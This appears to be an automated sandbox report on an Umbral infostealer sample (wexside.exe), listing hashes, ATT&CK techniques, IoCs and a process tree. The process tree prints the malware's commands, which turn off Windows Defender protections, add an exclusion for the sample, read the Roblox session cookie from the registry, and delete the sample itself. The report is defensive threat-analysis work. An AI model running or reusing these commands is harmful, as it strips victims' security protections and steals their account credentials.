umbral | c2fe8b9e983021434ee8805969733c76b0e598a49bb24b3bd9e51ca18ef964bf

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-12-2024 23:21

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General

Target

wexside.exe
Size

238KB
MD5

197e386d613b87bb8b3c834228ba2d18
SHA1

095c5dcb7d12080dc47df4fec784fd053bd55931
SHA256

c2fe8b9e983021434ee8805969733c76b0e598a49bb24b3bd9e51ca18ef964bf
SHA512

33371058ee6e1fbdce569c74d619a8bc1c3d00cd693b4e9687ab8ea68c7fb0bfd7e8113893de7a44b1824f543b9555606d1cd5c2f0ff32f5dc052774263b82a7
SSDEEP

6144:DloZM+rIkd8g+EtXHkv/iD4EnxpjpaC9Qop7mGzkob8e1motiN:hoZtL+EP8EnxpjpaC9Qop7mGzVy

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2224-1-0x0000000000E90000-0x0000000000ED2000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2092	powershell.exe
2644	powershell.exe
476	powershell.exe
2616	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	wexside.exe

Deletes itself 1 IoCs

pid	Process
1804	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1804	cmd.exe
2424	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2412	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2424	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2224	wexside.exe
2092	powershell.exe
2616	powershell.exe
2644	powershell.exe
1140	powershell.exe
476	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	wexside.exe
Token: SeIncreaseQuotaPrivilege	2792	wmic.exe
Token: SeSecurityPrivilege	2792	wmic.exe
Token: SeTakeOwnershipPrivilege	2792	wmic.exe
Token: SeLoadDriverPrivilege	2792	wmic.exe
Token: SeSystemProfilePrivilege	2792	wmic.exe
Token: SeSystemtimePrivilege	2792	wmic.exe
Token: SeProfSingleProcessPrivilege	2792	wmic.exe
Token: SeIncBasePriorityPrivilege	2792	wmic.exe
Token: SeCreatePagefilePrivilege	2792	wmic.exe
Token: SeBackupPrivilege	2792	wmic.exe
Token: SeRestorePrivilege	2792	wmic.exe
Token: SeShutdownPrivilege	2792	wmic.exe
Token: SeDebugPrivilege	2792	wmic.exe
Token: SeSystemEnvironmentPrivilege	2792	wmic.exe
Token: SeRemoteShutdownPrivilege	2792	wmic.exe
Token: SeUndockPrivilege	2792	wmic.exe
Token: SeManageVolumePrivilege	2792	wmic.exe
Token: 33	2792	wmic.exe
Token: 34	2792	wmic.exe
Token: 35	2792	wmic.exe
Token: SeIncreaseQuotaPrivilege	2792	wmic.exe
Token: SeSecurityPrivilege	2792	wmic.exe
Token: SeTakeOwnershipPrivilege	2792	wmic.exe
Token: SeLoadDriverPrivilege	2792	wmic.exe
Token: SeSystemProfilePrivilege	2792	wmic.exe
Token: SeSystemtimePrivilege	2792	wmic.exe
Token: SeProfSingleProcessPrivilege	2792	wmic.exe
Token: SeIncBasePriorityPrivilege	2792	wmic.exe
Token: SeCreatePagefilePrivilege	2792	wmic.exe
Token: SeBackupPrivilege	2792	wmic.exe
Token: SeRestorePrivilege	2792	wmic.exe
Token: SeShutdownPrivilege	2792	wmic.exe
Token: SeDebugPrivilege	2792	wmic.exe
Token: SeSystemEnvironmentPrivilege	2792	wmic.exe
Token: SeRemoteShutdownPrivilege	2792	wmic.exe
Token: SeUndockPrivilege	2792	wmic.exe
Token: SeManageVolumePrivilege	2792	wmic.exe
Token: 33	2792	wmic.exe
Token: 34	2792	wmic.exe
Token: 35	2792	wmic.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeIncreaseQuotaPrivilege	584	wmic.exe
Token: SeSecurityPrivilege	584	wmic.exe
Token: SeTakeOwnershipPrivilege	584	wmic.exe
Token: SeLoadDriverPrivilege	584	wmic.exe
Token: SeSystemProfilePrivilege	584	wmic.exe
Token: SeSystemtimePrivilege	584	wmic.exe
Token: SeProfSingleProcessPrivilege	584	wmic.exe
Token: SeIncBasePriorityPrivilege	584	wmic.exe
Token: SeCreatePagefilePrivilege	584	wmic.exe
Token: SeBackupPrivilege	584	wmic.exe
Token: SeRestorePrivilege	584	wmic.exe
Token: SeShutdownPrivilege	584	wmic.exe
Token: SeDebugPrivilege	584	wmic.exe
Token: SeSystemEnvironmentPrivilege	584	wmic.exe
Token: SeRemoteShutdownPrivilege	584	wmic.exe
Token: SeUndockPrivilege	584	wmic.exe
Token: SeManageVolumePrivilege	584	wmic.exe
Token: 33	584	wmic.exe
Token: 34	584	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2792	2224	wexside.exe	30
PID 2224 wrote to memory of 2792	2224	wexside.exe	30
PID 2224 wrote to memory of 2792	2224	wexside.exe	30
PID 2224 wrote to memory of 2908	2224	wexside.exe	33
PID 2224 wrote to memory of 2908	2224	wexside.exe	33
PID 2224 wrote to memory of 2908	2224	wexside.exe	33
PID 2224 wrote to memory of 2092	2224	wexside.exe	35
PID 2224 wrote to memory of 2092	2224	wexside.exe	35
PID 2224 wrote to memory of 2092	2224	wexside.exe	35
PID 2224 wrote to memory of 2616	2224	wexside.exe	37
PID 2224 wrote to memory of 2616	2224	wexside.exe	37
PID 2224 wrote to memory of 2616	2224	wexside.exe	37
PID 2224 wrote to memory of 2644	2224	wexside.exe	39
PID 2224 wrote to memory of 2644	2224	wexside.exe	39
PID 2224 wrote to memory of 2644	2224	wexside.exe	39
PID 2224 wrote to memory of 1140	2224	wexside.exe	41
PID 2224 wrote to memory of 1140	2224	wexside.exe	41
PID 2224 wrote to memory of 1140	2224	wexside.exe	41
PID 2224 wrote to memory of 584	2224	wexside.exe	43
PID 2224 wrote to memory of 584	2224	wexside.exe	43
PID 2224 wrote to memory of 584	2224	wexside.exe	43
PID 2224 wrote to memory of 1100	2224	wexside.exe	45
PID 2224 wrote to memory of 1100	2224	wexside.exe	45
PID 2224 wrote to memory of 1100	2224	wexside.exe	45
PID 2224 wrote to memory of 1764	2224	wexside.exe	47
PID 2224 wrote to memory of 1764	2224	wexside.exe	47
PID 2224 wrote to memory of 1764	2224	wexside.exe	47
PID 2224 wrote to memory of 476	2224	wexside.exe	49
PID 2224 wrote to memory of 476	2224	wexside.exe	49
PID 2224 wrote to memory of 476	2224	wexside.exe	49
PID 2224 wrote to memory of 2412	2224	wexside.exe	51
PID 2224 wrote to memory of 2412	2224	wexside.exe	51
PID 2224 wrote to memory of 2412	2224	wexside.exe	51
PID 2224 wrote to memory of 1804	2224	wexside.exe	53
PID 2224 wrote to memory of 1804	2224	wexside.exe	53
PID 2224 wrote to memory of 1804	2224	wexside.exe	53
PID 1804 wrote to memory of 2424	1804	cmd.exe	55
PID 1804 wrote to memory of 2424	1804	cmd.exe	55
PID 1804 wrote to memory of 2424	1804	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\wexside.exe
"C:\Users\Admin\AppData\Local\Temp\wexside.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\wexside.exe"
  2⤵
  - Views/modifies file attributes
  PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\wexside.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1100
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2412
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\wexside.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
46af422e00dbd6b2d09cff0ac25ce25c

SHA1
ddfdebd91f83d44feb8803baf372f9aba9f59b30

SHA256
9a2b2323461e12472ecd9410d7334d8835d2c8ba4d3f2129b67470ae6ec4e1b8

SHA512
924837a8b339434be748164124bebd5b1b39c5ae045fae3df7d5eafbfce8fb76ff9faf41a5a5a76d71b29423634e341bb6b531faba4a03208747d578d2051373

Download Submit
memory/476-43-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2092-8-0x00000000028D0000-0x00000000028D8000-memory.dmp

Filesize
32KB

Download
memory/2092-7-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2224-0-0x000007FEF5B33000-0x000007FEF5B34000-memory.dmp

Filesize
4KB

Download
memory/2224-1-0x0000000000E90000-0x0000000000ED2000-memory.dmp

Filesize
264KB

Download
memory/2224-2-0x000007FEF5B30000-0x000007FEF651C000-memory.dmp

Filesize
9.9MB

Download
memory/2224-47-0x000007FEF5B30000-0x000007FEF651C000-memory.dmp

Filesize
9.9MB

Download
memory/2616-14-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2616-15-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download